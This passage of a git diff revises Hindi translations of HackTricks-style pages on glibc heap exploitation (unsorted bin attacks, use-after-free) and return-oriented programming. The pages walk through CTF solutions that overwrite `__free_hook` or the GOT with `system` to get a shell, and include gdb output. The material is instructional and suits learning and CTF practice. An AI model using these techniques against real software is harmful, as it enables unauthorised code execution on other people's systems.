जा सकें (और एक अव्यवस्थित बिन हमले से तेज बिन हमले में जाया जा सके)। > [!TIP] -> उदाहरण पर एक नज़र डालें जो [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) में प्रदान किया गया है और 0x4000 और 0x5000 का उपयोग करें 0x400 और 0x500 के बजाय चंक आकार के रूप में (Tcache से बचने के लिए) यह देखना संभव है कि **आजकल** त्रुटि **`malloc(): unsorted double linked list corrupted`** उत्पन्न होती है। +> उदाहरण पर नज़र डालने के लिए [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) पर जाएं और 0x4000 और 0x5000 का उपयोग करें 0x400 और 0x500 के बजाय चंक आकार के रूप में (Tcache से बचने के लिए) यह देखना संभव है कि **आजकल** त्रुटि **`malloc(): unsorted double linked list corrupted`** उत्पन्न होती है। > -> इसलिए, यह अनसॉर्टेड बिन हमला अब (अन्य जांचों के बीच) यह भी आवश्यक है कि डबल लिंक्ड लिस्ट को ठीक किया जा सके ताकि यह बायपास किया जा सके `victim->bk->fd == victim` या नहीं `victim->fd == av (arena)`। इसका मतलब है कि जिस पते पर हम लिखना चाहते हैं, उसमें फर्जी चंक के `fd` स्थिति में फर्जी चंक का पता होना चाहिए और फर्जी चंक `fd` एरेना की ओर इशारा कर रहा है। +> इसलिए, यह अव्यवस्थित बिन हमला अब (अन्य जांचों के बीच) यह भी आवश्यक है कि डबल लिंक्ड लिस्ट को ठीक करने में सक्षम हो ताकि यह बायपास किया जा सके `victim->bk->fd == victim` या नहीं `victim->fd == av (arena)` का मतलब है कि जिस पते पर हम लिखना चाहते हैं, उसमें नकली चंक के `fd` स्थिति में पता होना चाहिए और नकली चंक `fd` एरेना की ओर इशारा कर रहा है। > [!CAUTION] -> ध्यान दें कि यह हमला अनसॉर्टेड बिन को भ्रष्ट करता है (इसलिए छोटे और बड़े भी)। इसलिए हम केवल **अब फास्ट बिन से आवंटन का उपयोग कर सकते हैं** (एक अधिक जटिल प्रोग्राम अन्य आवंटन कर सकता है और क्रैश हो सकता है), और इसे ट्रिगर करने के लिए हमें **समान आकार आवंटित करना चाहिए या प्रोग्राम क्रैश हो जाएगा।** +> ध्यान दें कि यह हमला अव्यवस्थित बिन को भ्रष्ट करता है (इसलिए छोटे और बड़े भी)। इसलिए हम केवल **अब तेज बिन से आवंटन का उपयोग कर सकते हैं** (एक अधिक जटिल कार्यक्रम अन्य आवंटन कर सकता है और क्रैश हो सकता है), और इसे ट्रिगर करने के लिए हमें **समान आकार आवंटित करना चाहिए या कार्यक्रम क्रैश हो जाएगा।** > -> ध्यान दें कि **`global_max_fast`** को ओवरराइट करना इस मामले में मदद कर सकता है यह मानते हुए कि फास्ट बिन सभी अन्य आवंटनों का ध्यान रख सकेगा जब तक कि शोषण पूरा नहीं हो जाता। +> ध्यान दें कि **`global_max_fast`** को ओवरराइट करना इस मामले में मदद कर सकता है यह मानते हुए कि तेज बिन सभी अन्य आवंटनों का ध्यान रख सकेगा जब तक कि शोषण पूरा नहीं हो जाता। -[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) से कोड इसे बहुत अच्छी तरह से समझाता है, हालांकि यदि आप mallocs को इस तरह से संशोधित करते हैं कि पर्याप्त बड़ा मेमोरी आवंटित करें ताकि Tcache में समाप्त न हो, तो आप देख सकते हैं कि पहले उल्लेखित त्रुटि प्रकट होती है जो इस तकनीक को रोकती है: **`malloc(): unsorted double linked list corrupted`** +[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) का कोड इसे बहुत अच्छी तरह से समझाता है, हालांकि यदि आप mallocs को इस तरह से संशोधित करते हैं कि पर्याप्त बड़ा मेमोरी आवंटित करें ताकि Tcache में समाप्त न हो, तो आप देख सकते हैं कि पहले उल्लेखित त्रुटि प्रकट होती है जो इस तकनीक को रोकती है: **`malloc(): unsorted double linked list corrupted`** ## Unsorted Bin Infoleak Attack -यह वास्तव में एक बहुत बुनियादी अवधारणा है। अनसॉर्टेड बिन में चंक के पास पॉइंटर्स होंगे। अनसॉर्टेड बिन में पहला चंक वास्तव में **`fd`** और **`bk`** लिंक **मुख्य एरेना (Glibc)** के एक भाग की ओर इशारा करेगा।\ -इसलिए, यदि आप **एक चंक को अनसॉर्टेड बिन में डाल सकते हैं और इसे पढ़ सकते हैं** (फ्री के बाद उपयोग) या **कम से कम 1 पॉइंटर को ओवरराइट किए बिना इसे फिर से आवंटित कर सकते हैं** ताकि फिर **इसे पढ़ सकें**, तो आप एक **Glibc जानकारी लीक** प्राप्त कर सकते हैं। +यह वास्तव में एक बहुत बुनियादी अवधारणा है। अव्यवस्थित बिन में चंक में पॉइंटर्स होंगे। अव्यवस्थित बिन में पहला चंक वास्तव में **`fd`** और **`bk`** लिंक को **मुख्य एरेना (Glibc)** के एक भाग की ओर इशारा करेगा।\ +इसलिए, यदि आप **एक चंक को अव्यवस्थित बिन में डाल सकते हैं और इसे पढ़ सकते हैं** (फ्री के बाद उपयोग) या **कम से कम 1 पॉइंटर को ओवरराइट किए बिना इसे फिर से आवंटित कर सकते हैं** ताकि फिर **इसे पढ़ सकें**, तो आप एक **Glibc जानकारी लीक** प्राप्त कर सकते हैं। -एक समान [**हमला जो इस लेख में उपयोग किया गया**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), 4 चंक संरचना (A, B, C और D - D केवल शीर्ष चंक के साथ समेकन को रोकने के लिए है) का दुरुपयोग करने के लिए था, इसलिए B में एक शून्य बाइट ओवरफ्लो का उपयोग किया गया था ताकि C यह संकेत दे सके कि B अप्रयुक्त था। इसके अलावा, B में `prev_size` डेटा को संशोधित किया गया ताकि आकार B का आकार न होकर A+B हो।\ -फिर C को डिएक्लेट किया गया, और A+B के साथ समेकित किया गया (लेकिन B अभी भी उपयोग में था)। आकार A का एक नया चंक आवंटित किया गया और फिर libc लीक किए गए पते B में लिखे गए जहां से वे लीक हुए। +इस [**लेख में उपयोग किए गए समान हमले**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) में 4 चंक संरचना (A, B, C और D - D केवल शीर्ष चंक के साथ समेकन को रोकने के लिए है) का दुरुपयोग किया गया था, इसलिए B में एक शून्य बाइट ओवरफ्लो का उपयोग किया गया था ताकि C यह संकेत दे सके कि B अप्रयुक्त था। इसके अलावा, B में `prev_size` डेटा को संशोधित किया गया ताकि आकार B का आकार न होकर A+B हो।\ +फिर C को डिअलोकेट किया गया, और A+B के साथ समेकित किया गया (लेकिन B अभी भी उपयोग में था)। आकार A का एक नया चंक आवंटित किया गया और फिर libc लीक किए गए पते को B में लिखा गया जहां से उन्हें लीक किया गया। ## References & Other examples - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) -- लक्ष्य एक वैश्विक चर को 4869 से अधिक के मान के साथ ओवरराइट करना है ताकि यह संभव हो सके कि ध्वज प्राप्त किया जा सके और PIE सक्षम नहीं है। +- लक्ष्य एक वैश्विक चर को 4869 से अधिक मान के साथ ओवरराइट करना है ताकि यह संभव हो सके कि ध्वज प्राप्त किया जा सके और PIE सक्षम नहीं है। - यह मनमाने आकार के चंक उत्पन्न करना संभव है और इच्छित आकार के साथ एक हीप ओवरफ्लो है। -- हमला 3 चंक बनाने से शुरू होता है: chunk0 ओवरफ्लो का दुरुपयोग करने के लिए, chunk1 ओवरफ्लो होने के लिए और chunk2 ताकि शीर्ष चंक पिछले लोगों के साथ समेकित न हो। +- हमला 3 चंक बनाने से शुरू होता है: chunk0 ओवरफ्लो का दुरुपयोग करने के लिए, chunk1 ओवरफ्लो होने के लिए और chunk2 ताकि शीर्ष चंक पिछले चंक के साथ समेकित न हो। - फिर, chunk1 को मुक्त किया जाता है और chunk0 को ओवरफ्लो किया जाता है ताकि chunk1 के `bk` पॉइंटर को इंगित किया जा सके: `bk = magic - 0x10` -- फिर, chunk3 को chunk1 के समान आकार के साथ आवंटित किया जाता है, जो अनसॉर्टेड बिन हमले को ट्रिगर करेगा और वैश्विक चर के मान को संशोधित करेगा, जिससे ध्वज प्राप्त करना संभव होगा। +- फिर, chunk3 को chunk1 के समान आकार के साथ आवंटित किया जाता है, जो अव्यवस्थित बिन हमले को ट्रिगर करेगा और वैश्विक चर के मान को संशोधित करेगा, जिससे ध्वज प्राप्त करना संभव हो जाएगा। - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - मर्ज फ़ंक्शन कमजोर है क्योंकि यदि दोनों पास किए गए अनुक्रमांक समान हैं तो यह उस पर पुनः आवंटित करेगा और फिर इसे मुक्त करेगा लेकिन उस मुक्त क्षेत्र के लिए एक पॉइंटर लौटाएगा जिसका उपयोग किया जा सकता है। -- इसलिए, **2 चंक बनाए जाते हैं**: **chunk0** जो अपने आप के साथ मर्ज किया जाएगा और chunk1 ताकि शीर्ष चंक के साथ समेकन को रोक सके। फिर, **chunk0 के साथ मर्ज फ़ंक्शन को दो बार कॉल किया जाता है** जो फ्री के बाद उपयोग का कारण बनेगा। -- फिर, **`view`** फ़ंक्शन को अनुक्रमांक 2 (जो फ्री के बाद उपयोग चंक का अनुक्रमांक है) के साथ कॉल किया जाता है, जो **libc पता लीक करेगा**। -- चूंकि बाइनरी में केवल **`global_max_fast`** से बड़े आकार के malloc की सुरक्षा है, इसलिए कोई फास्टबिन का उपयोग नहीं किया जाता है, एक अनसॉर्टेड बिन हमला वैश्विक चर `global_max_fast` को ओवरराइट करने के लिए उपयोग किया जाएगा। -- फिर, यह संभव है कि अनुक्रमांक 2 (फ्री के बाद उपयोग पॉइंटर) के साथ संपादित फ़ंक्शन को कॉल किया जाए और `bk` पॉइंटर को `p64(global_max_fast-0x10)` की ओर इशारा करने के लिए ओवरराइट किया जाए। फिर, एक नया चंक बनाने से पहले से समझौता किए गए मुक्त पते (0x20) का उपयोग किया जाएगा जो **अनसॉर्टेड बिन हमले को ट्रिगर करेगा** `global_max_fast` को ओवरराइट करते हुए जो एक बहुत बड़ा मान है, जिससे अब फास्ट बिन में चंक बनाना संभव हो गया है। -- अब एक **फास्ट बिन हमला** किया जाता है: -- सबसे पहले यह पता चलता है कि **`__free_hook`** स्थान में **200 आकार के फास्ट चंक** के साथ काम करना संभव है: +- इसलिए, **2 चंक बनाए जाते हैं**: **chunk0** जिसे अपने साथ मर्ज किया जाएगा और chunk1 ताकि शीर्ष चंक के साथ समेकित न हो। फिर, **chunk0 के साथ मर्ज फ़ंक्शन** को दो बार कॉल किया जाता है जो फ्री के बाद उपयोग का कारण बनेगा। +- फिर, **`view`** फ़ंक्शन को अनुक्रमांक 2 (जो फ्री के बाद उपयोग चंक का अनुक्रमांक है) के साथ कॉल किया जाता है, जो **libc पते को लीक करेगा**। +- चूंकि बाइनरी में केवल **`global_max_fast`** से बड़े आकार के लिए सुरक्षा है, इसलिए कोई तेज बिन का उपयोग नहीं किया जाता है, एक अव्यवस्थित बिन हमला वैश्विक चर `global_max_fast` को ओवरराइट करने के लिए उपयोग किया जाएगा। +- फिर, अनुक्रमांक 2 (फ्री के बाद उपयोग पॉइंटर) के साथ संपादित फ़ंक्शन को कॉल करना संभव है और `bk` पॉइंटर को `p64(global_max_fast-0x10)` की ओर इशारा करने के लिए ओवरराइट करना संभव है। फिर, एक नया चंक बनाने से पहले से समझौता किए गए मुक्त पते (0x20) का उपयोग किया जाएगा जो **अव्यवस्थित बिन हमले को ट्रिगर करेगा** `global_max_fast` को ओवरराइट करते हुए जो एक बहुत बड़ा मान है, जिससे अब तेज बिन में चंक बनाना संभव हो गया है। +- अब एक **तेज बिन हमला** किया जाता है: +- सबसे पहले यह पता चलता है कि **`__free_hook`** स्थान पर **200** के आकार के तेज **चंक के साथ काम करना संभव है: -
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -58,16 +58,16 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
-- यदि हम इस स्थान पर 0x200 के आकार का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक कार्य फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित किया जाएगा। -- इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और मर्ज फ़ंक्शन को उस पॉइंटर के साथ दो बार कॉल किया जाता है, इस तरह हम फास्ट बिन में `0xfc*2 = 0x1f8` के आकार के मुक्त चंक के लिए एक पॉइंटर प्राप्त करते हैं। -- फिर, इस चंक में संपादित फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इशारा करने के लिए संशोधित किया जा सके। -- फिर, आकार `0x1f8` का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके ताकि आकार `0x1f8` का एक और चंक बनाया जा सके ताकि **`__free_hook`** में एक फास्ट बिन चंक प्राप्त किया जा सके जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया गया है। -- और अंत में, `/bin/sh\x00` स्ट्रिंग वाला एक चंक मुक्त किया जाता है, डिलीट फ़ंक्शन को कॉल करके, **`__free_hook`** फ़ंक्शन को ट्रिगर करता है जो सिस्टम को `/bin/sh\x00` को पैरामीटर के रूप में इंगित करता है। +- यदि हम इस स्थान पर 0x200 के आकार का एक तेज चंक प्राप्त करने में सफल होते हैं, तो एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जिसे निष्पादित किया जाएगा। +- इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ मर्ज फ़ंक्शन को दो बार कॉल किया जाता है, इस तरह हम तेज बिन में आकार `0xfc*2 = 0x1f8` के एक मुक्त चंक के लिए एक पॉइंटर प्राप्त करते हैं। +- फिर, इस चंक में संपादित फ़ंक्शन को कॉल किया जाता है ताकि इस तेज बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इशारा करने के लिए संशोधित किया जा सके। +- फिर, आकार `0x1f8` का एक चंक बनाया जाता है ताकि तेज बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके ताकि आकार `0x1f8` का एक और चंक बनाया जा सके ताकि **`__free_hook`** में एक तेज बिन चंक प्राप्त किया जा सके जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया गया है। +- और अंत में, `/bin/sh\x00` स्ट्रिंग वाला एक चंक मुक्त किया जाता है, डिलीट फ़ंक्शन को कॉल करते हुए, **`__free_hook`** फ़ंक्शन को ट्रिगर करते हुए जो सिस्टम को `/bin/sh\x00` को पैरामीटर के रूप में इंगित करता है। - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- अनसॉर्टेड बिन में चंकों को समेकित करने और libc जानकारी लीक प्राप्त करने के लिए 1B ओवरफ्लो का दुरुपयोग करने का एक और उदाहरण और फिर malloc हुक को एक गड़बड़ पते के साथ ओवरराइट करने के लिए फास्ट बिन हमले को करना। +- अव्यवस्थित बिन में चंकों को समेकित करने और libc जानकारी लीक प्राप्त करने के लिए 1B ओवरफ्लो का दुरुपयोग करने का एक और उदाहरण और फिर malloc हुक को एक गड़बड़ पते के साथ ओवरराइट करने के लिए तेज बिन हमले को करना। - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - हम केवल `0x100` से बड़े आकार के चंक आवंटित कर सकते हैं। -- अनसॉर्टेड बिन हमले का उपयोग करके `global_max_fast` को ओवरराइट करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स को संशोधित करना होगा, लेकिन हमें 16 बिट्स को संशोधित करना होगा)। -- एक वैश्विक चंकों की सूची को संशोधित करने के लिए फास्ट बिन हमला। यह एक मनमाने पढ़ने/लिखने की प्राइमिटिव देता है, जो GOT को संशोधित करने और कुछ फ़ंक्शन को `system` की ओर इंगित करने की अनुमति देता है। +- एक अव्यवस्थित बिन हमले का उपयोग करके `global_max_fast` को ओवरराइट करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स को संशोधित करने की आवश्यकता है, लेकिन हमें 16 बिट्स को संशोधित करना चाहिए)। +- एक वैश्विक चंकों के सरणी को संशोधित करने के लिए तेज बिन हमला। यह एक मनमाने पढ़ने/लिखने की प्राइमिटिव देता है, जो GOT को संशोधित करने और कुछ फ़ंक्शन को `system` की ओर इंगित करने की अनुमति देता है। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md index 984114900..8ce39de1f 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/README.md +++ b/src/binary-exploitation/libc-heap/use-after-free/README.md @@ -4,15 +4,16 @@ ## Basic Information -जैसा कि नाम से स्पष्ट है, यह कमजोरियां तब होती हैं जब एक प्रोग्राम **हीप में एक ऑब्जेक्ट के लिए कुछ स्थान** स्टोर करता है, **वहां कुछ जानकारी लिखता है**, **इसे मुक्त करता है** स्पष्ट रूप से क्योंकि इसकी अब आवश्यकता नहीं है और फिर **इसे फिर से एक्सेस करता है**। +जैसा कि नाम से स्पष्ट है, यह सुरक्षा कमजोरी तब होती है जब एक प्रोग्राम **हीप में एक ऑब्जेक्ट के लिए कुछ स्थान** **स्टोर** करता है, वहां कुछ जानकारी **लिखता** है, फिर इसे **फ्री** करता है क्योंकि यह अब आवश्यक नहीं है और फिर **इसे फिर से एक्सेस करता है**। -यहां समस्या यह है कि जब **मुक्त मेमोरी को एक्सेस किया जाता है** तो यह अवैध नहीं है (यहां **कोई त्रुटियां नहीं होंगी**)। इसलिए, यदि प्रोग्राम (या हमलावर) ने **मुक्त मेमोरी को आवंटित किया और मनमाना डेटा स्टोर किया**, जब मुक्त मेमोरी को प्रारंभिक पॉइंटर से एक्सेस किया जाता है तो **डेटा को ओवरराइट किया जा सकता है** जिससे एक **कमजोरी उत्पन्न होती है जो उस डेटा की संवेदनशीलता पर निर्भर करती है** जो मूल रूप से स्टोर किया गया था (यदि यह एक फ़ंक्शन का पॉइंटर था जिसे कॉल किया जाने वाला था, तो एक हमलावर इसे नियंत्रित कर सकता है)। +यहां समस्या यह है कि जब **फ्री की गई मेमोरी को एक्सेस किया जाता है** तो यह अवैध नहीं है (यहां **कोई त्रुटियां नहीं होंगी**)। इसलिए, यदि प्रोग्राम (या हमलावर) ने **फ्री की गई मेमोरी को आवंटित किया और मनमाना डेटा स्टोर किया**, जब फ्री की गई मेमोरी को प्रारंभिक पॉइंटर से एक्सेस किया जाता है तो **डेटा को ओवरराइट किया जा सकता है**, जिससे एक **कमजोरी उत्पन्न होती है जो उस डेटा की संवेदनशीलता पर निर्भर करती है** जो मूल रूप से स्टोर किया गया था (यदि यह एक फ़ंक्शन का पॉइंटर था जिसे कॉल किया जाने वाला था, तो एक हमलावर इसे नियंत्रित कर सकता है)। ### First Fit attack -एक फर्स्ट फिट हमला उन तरीकों को लक्षित करता है जिनसे कुछ मेमोरी आवंटक, जैसे कि glibc में, मुक्त मेमोरी का प्रबंधन करते हैं। जब आप मेमोरी के एक ब्लॉक को मुक्त करते हैं, तो इसे एक सूची में जोड़ा जाता है, और नए मेमोरी अनुरोध उस सूची से अंत से खींचते हैं। हमलावर इस व्यवहार का उपयोग **किस मेमोरी ब्लॉकों का पुन: उपयोग किया जाता है, इसे नियंत्रित करने के लिए कर सकते हैं**। इससे "use-after-free" समस्याएं उत्पन्न हो सकती हैं, जहां एक हमलावर **पुनः आवंटित की गई मेमोरी की सामग्री को बदल सकता है**, जिससे सुरक्षा का जोखिम उत्पन्न होता है।\ +एक फर्स्ट फिट हमला उन तरीकों को लक्षित करता है जिनसे कुछ मेमोरी आवंटक, जैसे कि glibc में, फ्री की गई मेमोरी का प्रबंधन करते हैं। जब आप मेमोरी के एक ब्लॉक को फ्री करते हैं, तो इसे एक सूची में जोड़ा जाता है, और नए मेमोरी अनुरोध उस सूची से अंत से खींचते हैं। हमलावर इस व्यवहार का उपयोग **किस मेमोरी ब्लॉकों को फिर से उपयोग किया जाता है, इसे नियंत्रित करने के लिए कर सकते हैं**। इससे "use-after-free" समस्याएं उत्पन्न हो सकती हैं, जहां एक हमलावर **फिर से आवंटित की गई मेमोरी की सामग्री को बदल सकता है**, जिससे सुरक्षा जोखिम उत्पन्न होता है।\ अधिक जानकारी के लिए देखें: + {{#ref}} first-fit.md {{#endref}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 03688a8db..d46304aa1 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -4,13 +4,13 @@ ## **बुनियादी जानकारी** -**Return-Oriented Programming (ROP)** एक उन्नत शोषण तकनीक है जिसका उपयोग सुरक्षा उपायों जैसे **No-Execute (NX)** या **Data Execution Prevention (DEP)** को दरकिनार करने के लिए किया जाता है। शेलकोड को इंजेक्ट और निष्पादित करने के बजाय, एक हमलावर बाइनरी या लोड की गई लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का लाभ उठाता है, जिसे **"gadgets"** कहा जाता है। प्रत्येक gadget आमतौर पर एक `ret` निर्देश के साथ समाप्त होता है और एक छोटा ऑपरेशन करता है, जैसे रजिस्टरों के बीच डेटा को स्थानांतरित करना या अंकगणितीय संचालन करना। इन gadgets को एक साथ जोड़कर, एक हमलावर मनचाहे ऑपरेशन करने के लिए एक पेलोड तैयार कर सकता है, प्रभावी रूप से NX/DEP सुरक्षा को दरकिनार कर सकता है। +**Return-Oriented Programming (ROP)** एक उन्नत शोषण तकनीक है जिसका उपयोग सुरक्षा उपायों जैसे **No-Execute (NX)** या **Data Execution Prevention (DEP)** को दरकिनार करने के लिए किया जाता है। शेलकोड को इंजेक्ट और निष्पादित करने के बजाय, एक हमलावर बाइनरी या लोड की गई लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का लाभ उठाता है, जिसे **"gadgets"** कहा जाता है। प्रत्येक gadget आमतौर पर `ret` निर्देश के साथ समाप्त होता है और डेटा को रजिस्टरों के बीच स्थानांतरित करने या अंकगणितीय संचालन करने जैसे छोटे कार्य करता है। इन gadgets को एक साथ जोड़कर, एक हमलावर एक payload बना सकता है जो मनचाहे कार्यों को निष्पादित करता है, प्रभावी रूप से NX/DEP सुरक्षा को दरकिनार करता है। ### ROP कैसे काम करता है 1. **नियंत्रण प्रवाह हाईजैकिंग**: सबसे पहले, एक हमलावर को एक प्रोग्राम के नियंत्रण प्रवाह को हाईजैक करना होता है, आमतौर पर एक बफर ओवरफ्लो का लाभ उठाकर स्टैक पर एक सहेजे गए लौटने के पते को ओवरराइट करके। -2. **Gadget चेनिंग**: फिर हमलावर सावधानीपूर्वक इच्छित क्रियाओं को करने के लिए gadgets का चयन और चेन करता है। इसमें एक फ़ंक्शन कॉल के लिए तर्क सेट करना, फ़ंक्शन को कॉल करना (जैसे, `system("/bin/sh")`), और किसी भी आवश्यक सफाई या अतिरिक्त संचालन को संभालना शामिल हो सकता है। -3. **पेलोड निष्पादन**: जब कमजोर फ़ंक्शन लौटता है, तो यह एक वैध स्थान पर लौटने के बजाय gadgets की श्रृंखला को निष्पादित करना शुरू कर देता है। +2. **Gadget चेनिंग**: फिर हमलावर सावधानीपूर्वक इच्छित कार्यों को करने के लिए gadgets का चयन और चेन करता है। इसमें एक फ़ंक्शन कॉल के लिए तर्क सेट करना, फ़ंक्शन को कॉल करना (जैसे, `system("/bin/sh")`), और किसी भी आवश्यक सफाई या अतिरिक्त कार्यों को संभालना शामिल हो सकता है। +3. **Payload निष्पादन**: जब संवेदनशील फ़ंक्शन लौटता है, तो यह एक वैध स्थान पर लौटने के बजाय gadgets की श्रृंखला को निष्पादित करना शुरू कर देता है। ### उपकरण @@ -21,14 +21,14 @@ ### **x86 (32-बिट) कॉलिंग सम्मेलन** - **cdecl**: कॉलर स्टैक को साफ करता है। फ़ंक्शन तर्कों को स्टैक पर उल्टे क्रम में (दाएं से बाएं) धकेला जाता है। **तर्कों को स्टैक पर दाएं से बाएं धकेला जाता है।** -- **stdcall**: cdecl के समान, लेकिन callee स्टैक को साफ करने के लिए जिम्मेदार होता है। +- **stdcall**: cdecl के समान, लेकिनcallee स्टैक को साफ करने के लिए जिम्मेदार होता है। ### **Gadgets खोजना** पहले, चलिए मान लेते हैं कि हमने बाइनरी या इसके लोड की गई लाइब्रेरी में आवश्यक gadgets की पहचान कर ली है। जिन gadgets में हमारी रुचि है, वे हैं: -- `pop eax; ret`: यह gadget स्टैक के शीर्ष मान को `EAX` रजिस्टर में पॉप करता है और फिर लौटता है, जिससे हमें `EAX` को नियंत्रित करने की अनुमति मिलती है। -- `pop ebx; ret`: ऊपर के समान, लेकिन `EBX` रजिस्टर के लिए, जिससे `EBX` पर नियंत्रण प्राप्त होता है। +- `pop eax; ret`: यह gadget स्टैक के शीर्ष मान को `EAX` रजिस्टर में डालता है और फिर लौटता है, जिससे हमें `EAX` को नियंत्रित करने की अनुमति मिलती है। +- `pop ebx; ret`: ऊपर के समान, लेकिन `EBX` रजिस्टर के लिए, जिससे `EBX` पर नियंत्रण मिलता है। - `mov [ebx], eax; ret`: `EAX` में मान को `EBX` द्वारा इंगित मेमोरी स्थान पर स्थानांतरित करता है और फिर लौटता है। इसे अक्सर **write-what-where gadget** कहा जाता है। - इसके अतिरिक्त, हमारे पास `system()` फ़ंक्शन का पता उपलब्ध है। @@ -37,7 +37,7 @@ **pwntools** का उपयोग करते हुए, हम ROP चेन निष्पादन के लिए स्टैक को इस प्रकार तैयार करते हैं जिसका लक्ष्य `system('/bin/sh')` को निष्पादित करना है, ध्यान दें कि चेन इस प्रकार शुरू होती है: 1. संरेखण उद्देश्यों के लिए एक `ret` निर्देश (वैकल्पिक) -2. `system` फ़ंक्शन का पता (मान लेते हैं ASLR अक्षम है और libc ज्ञात है, अधिक जानकारी के लिए [**Ret2lib**](ret2lib/index.html)) +2. `system` फ़ंक्शन का पता (मानते हुए ASLR अक्षम है और libc ज्ञात है, अधिक जानकारी के लिए [**Ret2lib**](ret2lib/index.html)) 3. `system()` से लौटने के पते के लिए प्लेसहोल्डर 4. `"/bin/sh"` स्ट्रिंग का पता (system फ़ंक्शन के लिए पैरामीटर) ```python @@ -77,22 +77,22 @@ p.interactive() ### **x64 (64-bit) Calling conventions** -- **System V AMD64 ABI** कॉलिंग कन्वेंशन का उपयोग यूनिक्स-जैसे सिस्टम पर किया जाता है, जहाँ **पहले छह पूर्णांक या पॉइंटर तर्क `RDI`, `RSI`, `RDX`, `RCX`, `R8`, और `R9`** में पास किए जाते हैं। अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। लौटने का मान `RAX` में रखा जाता है। -- **Windows x64** कॉलिंग कन्वेंशन पहले चार पूर्णांक या पॉइंटर तर्कों के लिए `RCX`, `RDX`, `R8`, और `R9` का उपयोग करता है, जबकि अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। लौटने का मान `RAX` में रखा जाता है। +- **System V AMD64 ABI** कॉलिंग कन्वेंशन का उपयोग यूनिक्स-जैसे सिस्टम पर किया जाता है, जहाँ **पहले छह पूर्णांक या पॉइंटर तर्क `RDI`, `RSI`, `RDX`, `RCX`, `R8`, और `R9` रजिस्टर में पास किए जाते हैं**। अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। रिटर्न वैल्यू `RAX` में रखी जाती है। +- **Windows x64** कॉलिंग कन्वेंशन पहले चार पूर्णांक या पॉइंटर तर्कों के लिए `RCX`, `RDX`, `R8`, और `R9` का उपयोग करता है, जबकि अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। रिटर्न वैल्यू `RAX` में रखी जाती है। - **Registers**: 64-बिट रजिस्टर में `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, और `R8` से `R15` शामिल हैं। #### **Finding Gadgets** -हमारे उद्देश्य के लिए, आइए उन गैजेट्स पर ध्यान केंद्रित करें जो हमें **RDI** रजिस्टर सेट करने की अनुमति देंगे (ताकि **system()** को तर्क के रूप में **"/bin/sh"** स्ट्रिंग पास कर सकें) और फिर **system()** फ़ंक्शन को कॉल करें। हम मान लेते हैं कि हमने निम्नलिखित गैजेट्स की पहचान की है: +हमारे उद्देश्य के लिए, आइए उन गैजेट्स पर ध्यान केंद्रित करें जो हमें **RDI** रजिस्टर सेट करने की अनुमति देंगे (ताकि **system()** को तर्क के रूप में **"/bin/sh"** स्ट्रिंग पास किया जा सके) और फिर **system()** फ़ंक्शन को कॉल करें। हम मान लेते हैं कि हमने निम्नलिखित गैजेट्स की पहचान की है: -- **pop rdi; ret**: स्टैक के शीर्ष मान को **RDI** में पॉप करता है और फिर लौटता है। **system()** के लिए हमारे तर्क को सेट करने के लिए आवश्यक। 